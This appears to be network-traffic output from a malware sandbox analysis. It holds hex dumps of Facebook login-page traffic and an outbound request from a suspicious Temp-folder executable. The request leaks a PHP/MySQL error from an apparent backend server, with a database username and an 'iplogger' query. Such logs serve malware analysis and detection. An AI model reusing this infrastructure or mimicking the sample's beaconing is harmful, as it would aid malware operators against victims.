2022-10-08 09:34:05 UTC	115	IN	Data Raw: 75 53 46 64 30 31 34 38 4c 6a 4b 67 37 34 30 42 50 36 4e 7a 53 76 6c 49 75 33 49 75 59 70 79 42 58 57 57 49 6b 58 6d 48 4f 7a 33 68 54 62 5a 44 72 36 31 6b 66 55 65 42 6b 31 66 33 68 68 5f 35 46 37 75 50 43 5f 43 5f 66 6d 67 4e 59 75 32 65 65 59 65 6a 58 67 59 71 52 75 75 64 6c 5a 32 4f 61 43 6a 47 6e 68 65 78 68 32 71 34 35 6c 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 44 69 67 69 74 61 6c 20 41 64 76 65 72 74 69 73 69 6e 67 20 41 6c 6c 69 61 6e 63 65 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f Data Ascii: uSFd0148LjKg740BP6NzSvlIu3IuYpyBXWWIkXmHOz3hTbZDr61kfUeBk1f3hh_5F7uPC_C_fmgNYu2eeYejXgYqRuudlZ2OaCjGnhexh2q45lQ\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Digital Advertising Alliance\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/
2022-10-08 09:34:05 UTC	117	IN	Data Raw: 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 6f 72 20 64 65 76 69 63 65 20 6d 61 79 20 6f 66 66 65 72 20 73 65 74 74 69 6e 67 73 20 74 68 61 74 20 61 6c 6c 6f 77 20 79 6f 75 20 74 6f 20 63 68 6f 6f 73 65 20 77 68 65 74 68 65 72 20 62 72 6f 77 73 65 72 20 63 6f 6f 6b 69 65 73 20 61 72 65 20 73 65 74 20 61 6e 64 20 74 6f 20 64 65 6c 65 74 65 20 74 68 65 6d 2e 20 54 68 65 73 65 20 63 6f 6e 74 72 6f 6c 73 20 76 61 72 79 20 62 79 20 62 72 6f 77 73 65 72 2c 20 61 6e 64 20 6d 61 6e 75 66 61 63 74 75 72 65 72 73 20 6d 61 79 20 63 68 61 6e 67 65 20 62 6f 74 68 20 74 68 65 20 73 65 74 74 69 6e 67 73 20 74 68 65 79 20 6d 61 6b 65 20 61 76 61 69 6c 61 62 6c Data Ascii: ga\">\u003Cdiv>\u003Cp class=\"_9o-m\">Your browser or device may offer settings that allow you to choose whether browser cookies are set and to delete them. These controls vary by browser, and manufacturers may change both the settings they make availabl
2022-10-08 09:34:05 UTC	118	IN	Data Raw: 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 5c 75 30 30 32 35 32 46 65 6e 2d 55 53 5c 75 30 30 32 35 32 46 6b 62 5c 75 30 30 32 35 32 46 65 6e 61 62 6c 65 2d 61 6e 64 2d 64 69 73 61 62 6c 65 2d 63 6f 6f 6b 69 65 73 2d 77 65 62 73 69 74 65 2d 70 72 65 66 65 72 65 6e 63 65 73 26 61 6d 70 3b 68 3d 41 54 33 32 43 61 32 6a 54 56 78 61 50 62 38 6d 33 51 75 44 4c 75 6e 33 5f 66 58 6e 62 4c 58 4e 67 47 59 75 57 6c 75 75 78 34 2d 6e 54 6d 52 4a 59 77 54 56 48 46 79 6e 6a 52 6d 47 43 76 72 67 58 71 72 37 4c 65 76 5a 32 4c 4d Data Ascii: u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fsupport.mozilla.org\u00252Fen-US\u00252Fkb\u00252Fenable-and-disable-cookies-website-preferences&h=AT32Ca2jTVxaPb8m3QuDLun3_fXnbLXNgGYuWluux4-nTmRJYwTVHFynjRmGCvrgXqr7LevZ2LM
2022-10-08 09:34:05 UTC	120	IN	Data Raw: 55 37 35 5a 38 50 62 6d 63 44 44 6d 75 5f 48 64 77 50 49 44 41 67 6d 39 4f 33 57 79 78 30 55 31 58 35 32 36 54 47 75 53 4c 64 71 78 39 53 56 4e 38 32 54 36 35 50 67 5f 4e 43 64 36 78 33 70 39 65 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 4f 70 65 72 61 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 5c 2f 75 6c 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 Data Ascii: U75Z8PbmcDDmu_HdwPIDAgm9O3Wyx0U1X526TGuSLdqx9SVN82T65Pg_NCd6x3p9eQ\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Opera\u003C\/a>\u003C\/li>\u003C\/ul>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003C\/div>\u003
2022-10-08 09:34:05 UTC	121	IN	Data Raw: 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 39 63 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 62 5f 47 52 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 4e 6f 72 73 6b 20 28 62 6f 6b 6d 5c 75 30 30 65 35 6c 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 63 5f 64 6d 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 50 6f 6c 73 6b 69 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 64 5f 39 4d 22 2c 7b 22 5f 5f 68 74 6d 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 42 72 61 73 69 6c 29 22 7d 2c 31 5d 2c 5b 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 Data Ascii: ],["__markup_3310c079_0_a_9c",{"__html":"Nederlands"},1],["__markup_3310c079_0_b_GR",{"__html":"Norsk (bokm\u00e5l)"},1],["__markup_3310c079_0_c_dm",{"__html":"Polski"},1],["__markup_3310c079_0_d_9M",{"__html":"Portugu\u00eas (Brasil)"},1],["__markup_3310
2022-10-08 09:34:05 UTC	122	IN	Data Raw: 75 63 35 62 34 22 7d 2c 31 5d 5d 2c 22 65 6c 65 6d 65 6e 74 73 22 3a 5b 5b 22 5f 5f 65 6c 65 6d 5f 30 37 32 62 38 65 36 34 5f 30 5f 30 5f 77 67 22 2c 22 75 5f 30 5f 30 5f 63 30 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 39 34 63 31 35 33 38 35 5f 30 5f 30 5f 76 4c 22 2c 22 75 5f 30 5f 31 5f 34 76 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 33 5f 43 6c 22 2c 22 75 5f 30 5f 32 5f 50 69 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 38 33 35 63 36 33 33 61 5f 30 5f 30 5f 4b 6c 22 2c 22 6c 6f 67 69 6e 5f 66 6f 72 6d 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 64 37 33 62 35 64 5f 30 5f 32 5f 56 79 22 2c 22 6c 6f 67 69 6e 62 75 74 74 6f 6e 22 2c 31 5d 2c 5b 22 5f 5f 65 6c 65 6d 5f 66 34 36 66 34 39 34 36 5f 30 5f 30 5f 45 7a 22 2c Data Ascii: uc5b4"},1]],"elements":[["__elem_072b8e64_0_0_wg","u_0_0_c0",1],["__elem_94c15385_0_0_vL","u_0_1_4v",1],["__elem_a588f507_0_3_Cl","u_0_2_Pi",1],["__elem_835c633a_0_0_Kl","login_form",1],["__elem_45d73b5d_0_2_Vy","loginbutton",1],["__elem_f46f4946_0_0_Ez",
2022-10-08 09:34:05 UTC	124	IN	Data Raw: 32 31 32 32 0d 0a 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 Data Ascii: 2122is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/inclu
2022-10-08 09:34:05 UTC	125	IN	Data Raw: 41 63 63 65 73 73 69 62 69 6c 69 74 79 57 65 62 56 69 72 74 75 61 6c 43 75 72 73 6f 72 43 6c 69 63 6b 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 22 5f 5f 65 6c 65 6d 5f 34 35 65 39 34 64 64 38 5f 30 5f 30 5f 46 54 22 2c 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 6b 76 22 5d 2c 5b 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 34 35 65 39 34 64 64 38 5f 30 5f 30 5f 46 54 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 61 35 38 38 66 35 30 37 5f 30 5f 30 5f 6b 76 22 7d 5d 5d 5d 2c 5b 22 4b 65 79 62 6f 61 72 64 41 63 74 69 76 69 74 79 4c 6f 67 67 65 72 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 46 6f 63 75 73 52 69 6e 67 22 2c 22 69 6e 69 74 22 2c 5b 5d 2c 5b 5d 5d 2c 5b 22 45 72 72 6f 72 4d 65 73 73 61 67 65 43 6f Data Ascii: AccessibilityWebVirtualCursorClickLogger","init",["__elem_45e94dd8_0_0_FT","__elem_a588f507_0_0_kv"],[[{"__m":"__elem_45e94dd8_0_0_FT"},{"__m":"__elem_a588f507_0_0_kv"}]]],["KeyboardActivityLogger","init",[],[]],["FocusRing","init",[],[]],["ErrorMessageCo
2022-10-08 09:34:05 UTC	127	IN	Data Raw: 4b 65 79 22 3a 22 35 33 65 61 64 32 30 36 32 38 62 35 63 38 35 38 61 38 38 66 34 30 33 32 38 61 66 66 32 36 65 63 30 38 35 34 30 62 38 63 39 61 35 66 63 65 38 64 34 31 63 31 30 34 65 37 61 32 34 34 64 36 31 33 22 2c 22 6b 65 79 49 64 22 3a 32 31 34 7d 7d 5d 5d 2c 5b 22 42 72 6f 77 73 65 72 50 72 65 66 69 6c 6c 4c 6f 67 67 69 6e 67 22 2c 22 69 6e 69 74 43 6f 6e 74 61 63 74 70 6f 69 6e 74 46 69 65 6c 64 4c 6f 67 67 69 6e 67 22 2c 5b 5d 2c 5b 7b 22 63 6f 6e 74 61 63 74 70 6f 69 6e 74 46 69 65 6c 64 49 44 22 3a 22 65 6d 61 69 6c 22 2c 22 73 65 72 76 65 72 50 72 65 66 69 6c 6c 22 3a 22 22 7d 5d 5d 2c 5b 22 42 72 6f 77 73 65 72 50 72 65 66 69 6c 6c 4c 6f 67 67 69 6e 67 22 2c 22 69 6e 69 74 50 61 73 73 77 6f 72 64 46 69 65 6c 64 4c 6f 67 67 69 6e 67 22 2c 5b 5d Data Ascii: Key":"53ead20628b5c858a88f40328aff26ec08540b8c9a5fce8d41c104e7a244d613","keyId":214}}]],["BrowserPrefillLogging","initContactpointFieldLogging",[],[{"contactpointFieldID":"email","serverPrefill":""}]],["BrowserPrefillLogging","initPasswordFieldLogging",[]
2022-10-08 09:34:05 UTC	128	IN	Data Raw: 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 6e 6f 77 5f 69 6e 6c 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 70 3d 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 3b 72 65 74 75 72 6e 20 70 26 26 70 2e 6e 6f 77 26 26 70 2e 74 69 6d 69 6e 67 26 26 70 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 70 2e 6e 6f 77 28 29 2b 70 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 7d 3b 7d 29 28 29 3b 77 69 6e 64 6f 77 2e 5f 5f 62 69 67 50 69 70 65 46 52 3d 6e 6f 77 5f 69 6e 6c 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c Data Ascii: );</script><script>now_inl=(function(){var p=window.performance;return p&&p.now&&p.timing&&p.timing.navigationStart?function(){return p.now()+p.timing.navigationStart}:function(){return new Date().getTime()};})();window.__bigPipeFR=now_inl();</script><l
2022-10-08 09:34:05 UTC	130	IN	Data Raw: 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 67 2f 6c 2f 30 2c 63 72 6f 73 73 2f 64 58 78 43 66 57 73 4c 64 52 75 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 74 79 6c 65 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 35 2f 72 2f 5f 4b 5f 76 47 37 74 48 55 32 59 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 53 4b 38 45 75 66 55 43 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 Data Ascii: c.xx.fbcdn.net/rsrc.php/v3/yg/l/0,cross/dXxCfWsLdRu.css?_nc_x=Ij3Wp8lg5Kz" as="style" /><link rel="preload" href="https://static.xx.fbcdn.net/rsrc.php/v3/y5/r/_K_vG7tHU2Y.js?_nc_x=Ij3Wp8lg5Kz" as="script" nonce="SK8EufUC" /><link rel="preload" href="htt
2022-10-08 09:34:05 UTC	131	IN	Data Raw: 69 76 65 28 22 66 69 72 73 74 5f 72 65 73 70 6f 6e 73 65 22 2c 6e 29 3b 7d 29 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 53 4b 38 45 75 66 55 43 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 6f 6e 50 61 67 65 6c 65 74 41 72 72 69 76 65 28 7b 64 69 73 70 6c 61 79 52 65 73 6f 75 72 63 65 73 3a 5b 22 31 33 45 77 71 6a 69 22 2c 22 2f 6f 30 47 44 55 6d 22 2c 22 70 6c 43 48 4f 72 72 22 2c 22 55 32 2b 36 53 48 35 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 36 71 62 77 33 50 51 22 2c 22 Data Ascii: ive("first_response",n);})})();</script><script nonce="SK8EufUC">requireLazy(["__bigPipe"],(function(bigPipe){bigPipe.onPageletArrive({displayResources:["13Ewqji","/o0GDUm","plCHOrr","U2+6SH5","n6W4xMH","8zbEZtu","hKY0QKT","vGt2mxz","h3ZzAmG","6qbw3PQ","
2022-10-08 09:34:05 UTC	133	IN	Data Raw: 61 63 74 69 6f 6e 5f 74 6f 5f 6c 69 74 65 5f 63 6f 69 6e 66 6c 69 70 3a 7b 41 44 53 5f 49 4e 54 45 52 46 41 43 45 53 5f 49 4e 54 45 52 41 43 54 49 4f 4e 3a 30 2c 61 64 73 5f 70 65 72 66 5f 73 63 65 6e 61 72 69 6f 3a 30 2c 61 64 73 5f 77 61 69 74 5f 74 69 6d 65 3a 30 2c 45 76 65 6e 74 3a 31 7d 2c 69 6e 74 65 72 61 63 74 69 6f 6e 5f 74 6f 5f 63 6f 69 6e 66 6c 69 70 3a 7b 41 44 53 5f 49 4e 54 45 52 46 41 43 45 53 5f 49 4e 54 45 52 41 43 54 49 4f 4e 3a 31 2c 61 64 73 5f 70 65 72 66 5f 73 63 65 6e 61 72 69 6f 3a 31 2c 61 64 73 5f 77 61 69 74 5f 74 69 6d 65 3a 31 2c 45 76 65 6e 74 3a 31 30 30 7d 2c 65 6e 61 62 6c 65 5f 68 65 61 72 74 62 65 61 74 3a 74 72 75 65 2c 6d 61 78 42 6c 6f 63 6b 4d 65 72 67 65 44 75 72 61 74 69 6f 6e 3a 30 2c 6d 61 78 42 6c 6f 63 6b 4d Data Ascii: action_to_lite_coinflip:{ADS_INTERFACES_INTERACTION:0,ads_perf_scenario:0,ads_wait_time:0,Event:1},interaction_to_coinflip:{ADS_INTERFACES_INTERACTION:1,ads_perf_scenario:1,ads_wait_time:1,Event:100},enable_heartbeat:true,maxBlockMergeDuration:0,maxBlockM
2022-10-08 09:34:05 UTC	134	IN	Data Raw: 76 35 65 55 54 4d 34 35 50 7a 6c 4f 66 38 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 30 38 38 35 37 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 31 33 6b 34 4e 56 42 37 64 6f 33 49 74 42 71 78 44 41 34 51 6b 70 67 6a 61 5a 43 4c 69 63 69 33 43 6a 52 79 6d 30 35 57 35 2d 72 6c 64 61 4e 69 4c 56 7a 50 79 6f 76 49 63 36 4f 44 5a 7a 6e 6a 44 4f 4f 6f 79 5a 38 4e 74 58 77 46 52 58 31 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 32 39 34 31 35 38 22 2c 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 52 65 61 63 74 2e 63 6c 61 73 73 69 63 22 2c 22 41 61 30 48 72 46 74 6b 34 53 4c 72 69 38 75 5a 58 53 67 58 7a 52 34 30 4e 4f 6e 31 76 45 55 51 35 71 66 35 4d 5a 5f 43 39 44 58 6d 36 66 71 54 53 43 4e 79 55 2d 6c 5f 43 Data Ascii: v5eUTM45PzlOf8"]},-1],["cr:1108857",[],{__rc:[null,"Aa13k4NVB7do3ItBqxDA4QkpgjaZCLici3CjRym05W5-rldaNiLVzPyovIc6ODZznjDOOoyZ8NtXwFRX1w"]},-1],["cr:1294158",["React.classic"],{__rc:["React.classic","Aa0HrFtk4SLri8uZXSgXzR40NOn1vEUQ5qf5MZ_C9DXm6fqTSCNyU-l_C
2022-10-08 09:34:05 UTC	135	IN	Data Raw: 72 65 71 75 69 72 65 5f 63 6f 6e 64 5f 65 78 70 6f 73 75 72 65 5f 6c 6f 67 67 69 6e 67 22 5d 2c 73 68 6f 75 6c 64 5f 64 72 6f 70 5f 75 6e 6b 6e 6f 77 6e 5f 72 6f 75 74 65 73 3a 74 72 75 65 2c 73 68 6f 75 6c 64 5f 6c 6f 67 5f 75 6e 6b 6e 6f 77 6e 5f 72 6f 75 74 65 73 3a 66 61 6c 73 65 7d 2c 37 5d 2c 5b 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 72 65 6c 6f 61 64 4f 6e 42 6f 6f 74 6c 6f 61 64 45 72 72 6f 72 3a 74 72 75 65 7d 2c 31 30 36 37 5d 2c 5b 22 63 72 3a 36 39 32 32 30 39 22 2c 5b 22 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 42 6c 75 65 22 2c 22 41 61 33 64 57 56 78 71 50 68 5f 65 54 4a 34 59 68 77 5f Data Ascii: require_cond_exposure_logging"],should_drop_unknown_routes:true,should_log_unknown_routes:false},7],["PageTransitionsConfig",[],{reloadOnBootloadError:true},1067],["cr:692209",["cancelIdleCallbackBlue"],{__rc:["cancelIdleCallbackBlue","Aa3dWVxqPh_eTJ4Yhw_
2022-10-08 09:34:05 UTC	137	IN	Data Raw: 4f 58 78 6e 35 36 78 35 79 4f 59 61 4a 32 33 52 31 4b 54 5a 30 41 55 51 45 41 4d 45 43 6e 49 67 6a 52 68 34 7a 30 67 55 39 73 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 54 72 61 63 6b 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 64 6f 6d 61 69 6e 3a 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 22 7d 2c 33 32 35 5d 2c 5b 22 57 65 62 44 65 76 69 63 65 50 65 72 66 49 6e 66 6f 44 61 74 61 22 2c 5b 5d 2c 7b 6e 65 65 64 73 46 75 6c 6c 55 70 64 61 74 65 3a 74 72 75 65 2c 6e 65 65 64 73 50 61 72 74 69 61 6c 55 70 64 61 74 65 3a 66 61 6c 73 65 2c 73 68 6f 75 6c 64 4c 6f 67 52 65 73 6f 75 72 63 65 50 65 72 66 3a 66 61 6c 73 65 7d 2c 33 39 37 37 5d 2c 5b 22 57 65 62 53 74 6f 72 61 67 65 4d 6f 6e 73 74 65 72 4c 6f 67 67 69 6e 67 55 52 49 22 Data Ascii: OXxn56x5yOYaJ23R1KTZ0AUQEAMECnIgjRh4z0gU9sw"]},-1],["TrackingConfig",[],{domain:"https://pixel.facebook.com"},325],["WebDevicePerfInfoData",[],{needsFullUpdate:true,needsPartialUpdate:false,shouldLogResourcePerf:false},3977],["WebStorageMonsterLoggingURI"
2022-10-08 09:34:05 UTC	138	IN	Data Raw: 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 Data Ascii: 20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%2
2022-10-08 09:34:05 UTC	140	IN	Data Raw: 5b 22 5f 6a 73 5f 64 61 74 72 22 2c 22 44 55 52 42 59 38 4f 47 5a 68 62 56 6e 72 68 6e 49 6a 45 53 55 36 52 78 22 2c 36 33 30 37 32 30 30 30 30 30 30 2c 22 2f 22 2c 74 72 75 65 2c 66 61 6c 73 65 2c 74 72 75 65 5d 5d 5d 7d 2c 68 73 72 70 3a 7b 68 73 64 70 3a 7b 63 6c 70 44 61 74 61 3a 7b 22 31 38 37 31 36 39 37 22 3a 7b 72 3a 31 2c 73 3a 31 7d 2c 22 31 38 32 39 33 31 39 22 3a 7b 72 3a 31 7d 2c 22 31 38 32 39 33 32 30 22 3a 7b 72 3a 31 7d 2c 22 31 38 34 33 39 38 38 22 3a 7b 72 3a 31 7d 7d 7d 2c 68 62 6c 70 3a 7b 63 6f 6e 73 69 73 74 65 6e 63 79 3a 7b 72 65 76 3a 31 30 30 36 33 35 35 33 32 37 7d 2c 72 73 72 63 4d 61 70 3a 7b 22 59 6b 74 6b 2f 52 55 22 3a 7b 74 79 70 65 3a 22 6a 73 22 2c 73 72 63 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 Data Ascii: ["_js_datr","DURBY8OGZhbVnrhnIjESU6Rx",63072000000,"/",true,false,true]]]},hsrp:{hsdp:{clpData:{"1871697":{r:1,s:1},"1829319":{r:1},"1829320":{r:1},"1843988":{r:1}}},hblp:{consistency:{rev:1006355327},rsrcMap:{"Yktk/RU":{type:"js",src:"https://static.xx.f

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49707	157.240.20.35	443	C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Timestamp	kBytes transferred	Direction	Data
2022-10-08 09:34:27 UTC	141	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/